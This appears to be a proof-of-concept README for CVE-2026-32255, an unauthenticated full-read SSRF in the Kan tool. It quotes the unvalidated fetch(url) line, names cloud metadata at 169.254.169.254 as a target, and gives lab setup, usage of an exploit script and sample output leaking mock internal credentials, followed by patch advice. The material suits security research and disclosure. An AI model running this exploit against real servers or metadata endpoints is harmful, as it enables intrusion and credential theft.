
This repository contains a proof of concept (POC) for CVE-2026-32255, a high-severity Server-Side Request Forgery (SSRF) vulnerability in Kan, an open-source project management tool.
This repository contains a proof of concept (POC) for CVE-2026-32255, a high-severity Server-Side Request Forgery (SSRF) vulnerability in Kan, an open-source project management tool.
The vulnerable endpoint allows unauthenticated attackers to make arbitrary HTTP requests from the server and read the full response, enabling access to internal services and cloud metadata endpoints.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NThe file apps/web/src/pages/api/download/attatchment.ts exposes a GET /api/download/attatchment endpoint intended to proxy attachment downloads from S3 storage. The endpoint accepts a user-controlled url query parameter and passes it directly to fetch() server-side without any validation or authentication:
const upstream = await fetch(url); // no validation on `url`
An attacker can supply any URL, causing the server to make an HTTP request to that destination and return the full response body to the client. This is a full-read SSRF (not blind), meaning the attacker can read the entire response content.
http://169.254.169.254/ on AWS/GCP)Clone and run Kan v0.5.4 (the last vulnerable version):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
Configure the required environment variables:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
Note: If you get an error about
dokploy-network, remove thedokploy-networkreferences fromdocker-compose.yml(lines 9, 130-131) and rundocker compose up -dagain. This network is not needed locally.
Start the containers:
docker compose up -d
The application should be available at http://localhost:3000.
In a separate terminal, start the included mock internal service that simulates a sensitive internal API:
python3 internal-service.py
This starts a server on port 8888 that returns fake credentials, simulating a service that should only be accessible from the internal network. In a real-world scenario, this service would be isolated behind a firewall and unreachable from the outside. The SSRF allows the attacker to reach it through the server.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <target-url> [internal-url]
<target-url>: Base URL of the Kan instance (e.g., http://localhost:3000)[internal-url]: Internal URL to fetch via SSRF (optional, auto-detected from Docker bridge gateway)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888
[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)
[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource
Leaked content:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Update to Kan v0.5.5 or later, which validates the url parameter against the configured S3 endpoint hostname before proxying the request.
If you cannot update immediately, block external access to the vulnerable endpoint at your reverse proxy level.
This proof of concept is provided for educational purposes and authorized security testing only. Only use this tool on systems you own or have explicit written permission to test.
The author is not responsible for any misuse of the information or tools provided in this repository. Unauthorized access to computer systems is illegal.
Discovered by: kOaDT ([email protected])